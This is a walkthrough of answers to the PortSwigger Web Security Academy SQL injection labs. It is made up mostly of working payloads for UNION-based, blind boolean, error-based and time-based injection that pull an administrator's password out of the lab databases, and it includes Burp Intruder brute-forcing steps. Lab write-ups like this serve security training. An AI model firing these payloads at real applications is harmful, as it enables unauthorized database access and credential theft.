SQL Injection Portswigger
Answers from SQL Injection Labs in Portswigger Academy.
Last updated
Was this helpful?
Answers from SQL Injection Labs in Portswigger Academy.
Last updated
Was this helpful?
0aeb00a303e0c8d382f6f17b00210056.web-security-academy.net/filter?category='+OR+1=1 AND released=0 --
administrator'--
Example : SELECT a, b FROM table1 UNION SELECT c, d FROM table2
The individual queries must return the same number of columns.
The data types in each column must be compatible between the individual queries.
How many columns are being returned from the original query.
Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
ORDER BY query allows you to sort the results of a query based on a specific column or group of columns. Increment it until you have an error, then you'll know how many columns are in the db. Using 'UNION SELECT NULL-- could help when dealing with different data type.
' ORDER BY 1--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
' UNION select username, password FROM users --
In MySQL :
' UNION SELECT username || ' : ' || password FROM users--
In Oracle :
' UNION SELECT username || '~' || password FROM users--
Find the number of columns, we have an error at 3 means there is 2 columns.
' ORDER BY 2--
Determine which column accept strings data
' UNION SELECT 'a',NULL--
It's the second one
Now that we have determined the number of columns and which columns accept string data, we can build our payload:
' UNION SELECT NULL, username || ' : ' || password FROM users--
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
There is fews ways of commenting query in SQL.
# and -- are use to comment a single line.
/* comment */ can comment more than one line.
We know both data accept strings, so we build our playloads.
GET /filter?category='+UNION+SELECT NULL, @@version # HTTP/2
We have an error at 3 columns, not at 2, means there is 2 columns in the table.
GET /filter?category='ORDER BY 2--
Now we should determine which data is accepted, string are accepted in both fields.
GET /filter?category='UNION SELECT 'test','test'--
Now let's retrieve all tables from the db
GET /filter?category=' UNION SELECT table_name,NULL from information_schema.tables--
Open the response in browser and check for potential tables containing username and password.
After a few try it seems users_pgktqg is the right table.
GET /filter?category='UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_pqktqg'--- HTTP/2
Now let's build our payload to retrieve data from username_asspmw and password_qdbpna columns from table users_pqktqg
GET /filter?category='union select username_asspmw,password_qdbpna from users_pqktqg --
To perfom a blind SQL injection we have to find a way to know when our query is valid, for this case we saw that " Welcome back " message which is based on the cookie TrackingId. We know from the instruction that this cookie value is stored in the db, that's where we'll inject our query.
To determine answers from our queries, we'll check if " Welcome back " message is still displayed. If it's not, that's means the query is incorrect.
' AND '1'='1
' AND '1'='2
We have information that there is a table named "users" with columns "password" and "username." We need to find the password for the administrator.
To do that, we can trigger the conditional responses with a query that checks if the first character of the password for the username "administrator" is greater than the given character in the query.
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) > 'a
We don't see the "Welcome back" with 'b' as the character, which mean's the first letter is 'b'.
We can confirm it with this query
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'b
Now let's continue to discover the whole password.
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 2, 1) > 'a
It will be easier to know the password length before continuing, we can find it with this query and use Intruder to automate it :
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) >1 ) = 'a' --
We can base ourselves on the response length to detect a change.
Since we went from a 5523 length to 5462 we know it's the integer we're looking for.
Now we can go back and start building our payload to bruteforce a password of 20 character.
We can personalize request response, here we'll ask for a response containing the string "Welcome back" which is our confirmation of success.
Cookie: TrackingId=E6wRBBdK81FByZ83' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '§1§' -- session=hujweB8uvdJJVEcUpg0daAs4I5OaLKrI
Now we have the first character which is "2". We could do it manually for each character but let's automate it in burp.
Let's add a payload in the Intruder to detect all the 20 character at one time. We'll use a cluster bomb attack to archive this.
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), §1§, 1) = '§1§' --
With Burpsuite community that kind of attack can take a while. Now the goal is to rebuild the password with all positive responses containing "Welcome back". Our first payload will give us the position and second one the character. We can build the password !
We can use boolean to see if we notice any change in the application.
The AND operator is used to append a condition to the existing SQL query. The condition following AND must be true for the entire query to be true.
THEN 1/0 specifies that if the condition were true, it would attempt to divide 1 by 0, causing a division by zero error. However, since 1=2 is false, this part of the code is not executed.
WHEN (1=2) checks if the condition 1=2 is true, which it is not because 1 does not equal 2.
ELSE 'a' specifies that if the condition is false (which it is), it returns the string 'a'.
The injected query does not alter the logical flow of the original SQL query but successfully executes without causing an error.
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
In this case, THEN 1/0 will cause an error :
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
If the error causes a difference in the application's HTTP response, we can use this to determine whether the injected condition is true.
Query to guess password character by character :
' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
As mentioned, the labs use Oracle so we have to translate the above queries.
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' --;
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' --;
Now let's apply logic from previous labs with conditionals errors. First, determine password lenght :
' AND (SELECT CASE WHEN LENGTH(password) >1 THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a' --;
Until we don't get an error, this means our query is true.
Automate it with intruder, and we found the number of character, which is 20 in our case.
Now we can build a payload to determine all character and their position from the administrator password.
' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = 'a' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--;
Set up both payloads
As I don't have the Burp Suite Pro edition, it took me a while to try all 720 combinations, a bit more than two hours, but we finally got the password r6l4ix0w793d33g2oqwn
CAST() enables you to convert one data type to another.
Example :
CAST((SELECT example_column FROM example_table) AS int)
ERROR: invalid input syntax for type integer: "Example data"
For the labs, first create an error to see what response we have
By commenting the rest of the query, we don't have an error anymore :
Our goal is to retrieve administrator password which is a string, so let's add a SELECT and INT specification in our query :
' AND CAST((SELECT 1) AS int)--;
As SQL expecting a boolean after CAST() let's change a bit our payload :
' AND 1=CAST((SELECT 1) AS int)--;
Now we can build our select query and see al the users in the db.
' AND 1=CAST((SELECT username FROM users) AS int)--;
The issue is that we can only retrieve one column at once, let's rebuild our payload.
The first column of username column is administrator, now we know that the password will be in the first position as well.
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
Got it, we can log in as the administrator and finish the lab.
We need to check if we can use a sleep fonction to resolve this labs.
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(1)+ELSE+pg_sleep(0)+END--
It's working, we can see it in the time response.
This query confirm us that an administrator user exist.
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(1)+ELSE+pg_sleep(0)+END+FROM+users--
Like others labs we'll determine password length before bruteforcing each character.
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>§1§)+THEN+pg_sleep(1)+ELSE+pg_sleep(0)+END+FROM+users--;
Our password have 20 characters.
Now that we have the logic working, let's brute force the password character by character using the clusterbomb attack from the Intruder tool. Payload 1 : Numbers 1 to 20 Payload 2 : Bruteforce (a to z, 0 to 9)
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(1)+ELSE+pg_sleep(0)+END+FROM+users--
Now we just have to short all responses by response time, and we got the password combination.
